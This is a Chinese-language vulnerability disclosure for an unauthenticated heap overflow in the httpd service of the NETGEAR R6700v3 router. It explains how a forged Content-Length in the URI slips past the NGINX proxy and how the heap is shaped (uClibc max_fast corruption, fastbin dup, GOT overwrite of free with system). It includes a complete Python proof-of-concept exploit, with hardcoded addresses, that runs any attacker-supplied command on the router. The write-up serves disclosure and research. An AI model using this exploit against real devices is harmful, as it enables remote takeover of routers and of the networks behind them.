NETGEAR 路由器中发现堆溢出漏洞
在2019年东京Pwn2Own大会上,无线路由器引入为一个新种类:NETGEAR Nighthawk R6700v3。但该路由存在一些安全隐患,其中包括一个堆溢出漏洞,该漏洞可能允许恶意第三方从局域网控制设备。在这篇文章中,我们将详细讨论这个漏洞,并提供了一个概念验证的漏洞,且对任何版本V1.0.4.84_10.0.58的路由器可用。
该漏洞存在于受影响设备的httpd服务(/usr/bin/httpd)中。未经身份验证的攻击者可以在连接到本地网络时向HTTPd Web服务发送特制的HTTP请求,这可能导致目标系统的远程代码执行,此漏洞可能会导致系统易遭受攻击。文件上传功能中存在堆溢出漏洞。
背景
首先,路由器在处理HTTP请求时。Web服务器不会直接80端口上侦听。而是通过另一个进程作为代理侦听。这个过程就是NGINX代理。接下来将详细解释它的功能:
图1-sub_159E8函数的执行流程
首先,程序从套接字读取HTTP请求。然后执行检查,以确定HTTP请求是否是文件上传请求的形式。如果该检查返回false,则调用sub_10DC4
函数。该函数负责解析HTTP请求、执行身份验证、发送请求等等。相反,如果HTTP请求是文件上传请求的形式,则将执行如X所示的代码部分。sub_10DC4
是处理请求的主要函数。代码的X部分在这个函数的外面,这应该是我们感兴趣的一个地方。
漏洞
如上所述,该漏洞是通过HTTP上传触发的。上载请求由端点处理/backup.cgi
。在对该功能进行测试的过程中,存在两个影响该端点的问题。第一个涉及缺少身份验证检查。攻击者无需身份验证即可上传新的配置文件。但是,我们无法替换目标的凭据或更改目标系统的设置,因为在应用新的配置设置之前会进行身份验证检查。第二个问题是文件上传功能中的堆溢出漏洞。
易受攻击的函数将上传文件的内容复制到攻击者控制大小的基于堆的缓冲区中。以下是易受攻击的函数的伪代码:
图2-漏洞函数的伪代码
为了控制基于堆的缓冲区的大小,攻击者可以利用Content-Length报头,但这并不简单,主要有以下原因。
导入配置文件的HTTP请求如下:
图3-导入配置文件的HTTP请求
HTTP请求必须满足几个条件。首先,URI必须包含以下字符串之一:backup.cgi
,genierestore.cgi
或upgrade_check.cgi
。接下来,该请求必须是带有报头的multipart / form-data请求name="mtenRestoreCfg
。最后,文件名不能为空字符串。但是,HTTP请求必须先传递到NGINX代理,然后才能传给httpd服务。policy_default.conf
NGNIX代理的配置文件如下:
图4-NGINX配置
因此,为了绕过NGINX代理,选择URI:
图5-绕过代理的URI
在sub_159E8
函数中进行文件上传的处理。从这里,程序从标题中提取Content-Length
值:
图6-内容长度提取
上面的代码片段首先Content-Length
使用stristr
函数在整个HTTP请求中定位报头,然后通过该atoi
函数的最小实现,进行循环提取并将报头的值从字符串转换为整数:
图7-将字符串转换为整数的循环
但是,Content-Length
由于NGINX代理,我们不能直接将任意值传递给报头。除了过滤请求之外,代理还重写请求。它确保该Content-Length
值等于发布数据的大小,并将该Content-Length
报头放置在请求的第一个报头中。因此,我们不能Content-Length
在另一个报头中伪造报头。但是,提取Content-Length
报头的逻辑是有缺陷的。它对整个HTTP请求执行stristr
函数,而不是仅请求报头!因此,在URI中放置一个Content-Length
报头是可以的,httpd服务如下所示:
图8-伪造Content-Length值的URI
由于请求行出现在具有上述URI的HTTP报头之前,因此传递到图7中的代码的字符串是111 HTTP/1.1
。这样,我们可以完全控制的值Content-Length
并触发整数溢出漏洞。
关于图7中 atoi
的实现,当它遇到非数字字符时并不会停止,而是直至找到换行序列\r\n
,并将找到的字符解析为十进制数字。在确定每个字符的数值,会从字符代码0
中减去数字的ASCII字符代码。0
通过解析数字时,此公式将产生期望值9
。解析非数字字符时,它将产生无效的结果。例如,当解析空格字符(ASCII 0x20
)时,计算的数值是0x20 – 0x30
或0xfffffff0
。由于计算无效,该字符串111 HTTP/1.1
在上面的示例中,最终的计算值是0x896ebfe9
!为了控制该值使用了蛮力程序来替代各种 Content-Length
值并模拟atoi
循环,直到找到合适的值为止。它产生的解为4156559 HTTP/1.1
,其值为ffffffe9
,这是一个大小合理的负值。
代码路径:
图9-整数溢出漏洞
首先,程序Content-Length
使用无符号比较将0的值与0x20017进行比较。如果该值大于0x20017,则将执行地址0x17370处的汇编代码。然后,存储在dword_19A08
与dword_19A104
的值等于0,因为导入配置请求。接下来,程序检查存储在中的指针的值dword_1A870C
。如果该值不等于零,则此指针所保存的内存将被释放。然后,程序通过调用malloc传递正值Content-Length
0x258来分配用于存储文件内容的内存。结果存储在中dword_1A870C
。因为我们可以完全控制Content-Length
的值,所以可以将Content-Length
值设置为负数来触发整数溢出漏洞。
接下来,程序将整个文件内容复制到上面分配的缓冲区中。这将导致堆溢出漏洞。
图10-堆缓冲区溢出漏洞
注意事项
在制作漏洞利用程序时,需要考虑以下几点:
-我们有一个堆溢出漏洞,该漏洞使我们可以向堆内存写入任意数据,包括空字节。
-由于ASLR的实现不佳,堆内存位于恒定地址。
-在系统中使用uClibc。这是glibc的最小libc版本,因此malloc
和free
函数具有简单的实现。
-调用memcpy()
并实现堆溢出后,sub_21A58()
将被调用以返回错误页面。在中sub_21A58()
,fopen()
称为打开文件。在中fopen()
,malloc()
被调用两次,大小分别为0x60和0x1000。这些分配中的每一个都随后释放。总而言之,内存分配和释放的顺序如下:
图11 –内存分配操作序列
此外,我们可以发送一个导入字符串表请求调用另外一个malloc
和free
在sub_95AF4()
。这是用于计算字符串表上载文件的校验和的函数。伪代码如下:
图12 – sub_95AF4()中的伪代码
导入字符串表的HTTP请求如下:
图13-导入字符串表HTTP请求
开发技术
堆缓冲区溢出使我们能够进行fastbin dup攻击。“ Fastbin dup”攻击破坏堆的状态,因此随后的调用将malloc
返回选定的地址。一旦malloc
返回选定地址,可以写数据到这个地址。覆盖GOT条目然后产生远程代码执行。特别是,我们可以为free()
覆盖GOT条目,将其重定向到system()
,以便通过shell执行包含攻击者提供的缓冲区数据。
但是进行fastbin dup攻击并不容易,对于每个请求都会发生一个附加的malloc(0x1000)
调用。这会产生对__malloc_consolidate()
函数的调用,从而破坏fastbin。
如上所述,系统使用uClibc库,因此free()
和malloc()
函数与glibc的实现完全不同。看一下free()
函数:
图14 – uClibc中free()的实现
在第22行,在访问fastbins数组时缺少边界检查。这可能导致越界写入fastbins数组。
检查malloc_state
结构和fastbin_index
宏,它们都在malloc.h中定义:
图15-malloc_state结构和fastbin_index宏定义
该max_fast
变量位于fastbins
数组的正前面。因此,如果我们将块的大小设置为8,则当释放该块时,fastbin_index(8)
将返回-1
并且max_fast
将被较大值(或指针)覆盖。当堆正常运行时块的大小不会是8。这是因为作为块的一部分的元数据占用8个字节,因此大小为8表示用户数据为零字节。
一旦max_fast
更改为较大的值,__malloc_consolidate()
将不再调用malloc(0x1000)
。这使我们可以进行fastbin dup攻击。
总结:
- 发出触发堆溢出漏洞的请求,覆盖
PREV_INUSE
一个块的标志,从而错误地指示先前的块是空闲的。 - 由于
PREV_INUSE
标志不正确,我们可以malloc()
返回与实际现有块重叠的块。这使我们可以编辑现有块的元数据中的size字段,将其设置为无效值 - 当该块被释放并放置在fastbin上时,
malloc_stats->max_fast
将被较大的值覆盖。 - 一旦
malloc_stats->max_fast
更改,__malloc_consolidate()
在调用期间不再调用malloc(0x1000)
。这使我们能够进行fastbin攻击。 - 再次触发堆溢出漏洞,
fd
使用选定的目标地址覆盖空闲的fastbin块的指针。 - 后续调用
malloc()
将返回我们选择的目标地址。我们可以使用它来将所选数据写入目标地址。 - 使用此“在哪里写”原语写入address
free_got_addr
。我们写在那里的数据是system_plt_addr
。 - 最后,释放包含攻击者提供的字符串的缓冲区时,调用
system()
而不是调用free()
,进而生成远程代码执行。
堆内存的布局和分步利用过程在下面的PoC文件中。
#! /usr/bin/python2
# coding: utf-8
from pwn import *
import copy
import sys
def post_request(path, headers, files):
r = remote(rhost, rport)
request = 'POST %s HTTP/1.1' % path
request += '\r\n'
request += '\r\n'.join(headers)
request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
post_data += files['filecontent']
request += 'Content-Length: %i\r\n\r\n' % len(post_data)
request += post_data
r.send(request)
sleep(0.5)
r.close()
def make_filename(chunk_size):
return 'a' * (0x1d7 - chunk_size)
def exploit():
path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
print '[+] malloc 0x28 chunk'
# 00:0000│ 0x103f000 ◂— 0x0
# 01:0004│ 0x103f004 ◂— 0x29
# 02:0008│ r0 0x103f008 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
post_request(path, headers, f)
print '[+] malloc 0x18 chunk'
# 00:0000│ 0x103f000 ◂— 0x0
# 01:0004│ 0x103f004 ◂— 0x29 /* ')' */
# 02:0008│ 0x103f008
# 03:000c│ 0x103f00c
# ... ↓
# 0a:0028│ 0x103f028
# 0b:002c│ 0x103f02c ◂— 0x19
# 0c:0030│ r0 0x103f030 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x10)
post_request(path, headers, f)
print '[+] malloc 0x28 chunk and overwrite 0x18 chunk header to make overlap chunk'
# 00:0000│ 0x103eb50 ◂— 0x0
# 01:0004│ 0x103eb54 ◂— 0x21 <-- recheck
# ... ↓
# 12d:04b4│ 0x103f004 ◂— 0x29 /* ')' */
# 12e:04b8│ 0x103f008 ◂— 0x61616161 ('aaaa') <-- 0x28 chunk
# ... ↓
# 136:04d8│ 0x103f028 ◂— 0x4d8
# 137:04dc│ 0x103f02c ◂— 0x18
# 138:04e0│ 0x103f030 ◂— 0x0
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
f['filecontent'] = 'a' * 0x20 + p32(0x4d8) + p32(0x18)
post_request(path, headers, f)
print '[+] malloc 0x4b8 chunk and overwrite size of 0x28 chunk -> 0x9. Then, when __malloc_consolidate() function is called, __malloc_state->max_fast will be overwritten to a large value.'
# 00:0000│ 0x103eb50 ◂— 0x0
# 01:0004│ 0x103eb54 ◂— 0x4f1
# ... ↓
# 12d:04b4│ 0x103f004 ◂— 0x9
# 12e:04b8│ 0x103f008
# ... ↓
# 136:04d8│ 0x103f028 ◂— 0x4d8
# 137:04dc│ 0x103f02c ◂— 0x18
# 138:04e0│ 0x103f030 ◂— 0x0
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x4b0).ljust(0x10) + 'a' * 0x4ac + p32(0x9)
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x18 chunk'
# 00:0000│ 0x10417a8 ◂— 0xdfc3a88e
# 01:0004│ 0x10417ac ◂— 0x19
# 02:0008│ r0 0x10417b0 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x10)
post_request(path, headers, f)
print '[+] malloc 0x38 chunk'
# 00:0000│ 0x103e768 ◂— 0x4
# 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
# 02:0008│ r0 0x103e770 <-- return here
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x30).ljust(0x10) + 'a'
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x48 chunk'
# 00:0000│ 0x103e768 ◂— 0x4
# 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
# 02:0008│ r0 0x103e770
# ... ↓
# 0e:0038│ 0x103e7a0
# 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */
# 10:0040│ r0 0x103e7a8 <-- return here
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x40).ljust(0x10) + 'a'
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x38 chunk and overwrite fd pointer of 0x48 chunk'
# 00:0000│ 0x103e768 ◂— 0x4 <-- 0x38 chunk
# 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
# 02:0008│ 0x103e770 ◂— 0x0
# 03:000c│ 0x103e774 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaI'
# ... ↓
# 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */ <-- 0x48 chunk
# 10:0040│ 0x103e7a8 —▸ 0xf555c (semop@got.plt)
free_got_addr = 0xF559C
f = copy.deepcopy(files)
f['filename'] = make_filename(0x30)
f['filecontent'] = 'a' * 0x34 + p32(0x49) + p32(free_got_addr - 0x40)
post_request(path, headers, f)
print '[+] malloc 0x48 chunk'
# 00:0000│ 0x103e7a0 ◂— 'aaaaI'
# 01:0004│ 0x103e7a4 ◂— 0x49 /* 'I' */
# 02:0008│ r0 0x103e7a8 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x40)
post_request(path, headers, f)
print '[+] malloc 0x48 chunk. And overwrite free_got_addr'
# 00:0000│ 0xf555c (semop@got.plt) —▸ 0x403b6894 (semop) ◂— push {r3, r4, r7, lr}
# 01:0004│ 0xf5560 (__aeabi_idiv@got.plt) —▸ 0xd998 ◂— str lr, [sp, #-4]!
# 02:0008│ r0 0xf5564 (strstr@got.plt) —▸ 0x403c593c (strstr) ◂— push {r4, lr} <-- return here
system_addr = 0xDBF8
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x40).ljust(0x10) + command.ljust(0x38, '') + p32(system_addr)
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] Done'
if __name__ == '__main__':
context.log_level = 'error'
if (len(sys.argv) < 4):
print 'Usage: %s <rhost> <rport> <command>' % sys.argv[0]
exit()
rhost = sys.argv[1]
rport = sys.argv[2]
command = sys.argv[3]
exploit()
针对这些问题,NETGEAR计划发布固件更新,官方网站提供Bata修复程序的下载,修复所有受影响产品的漏洞。
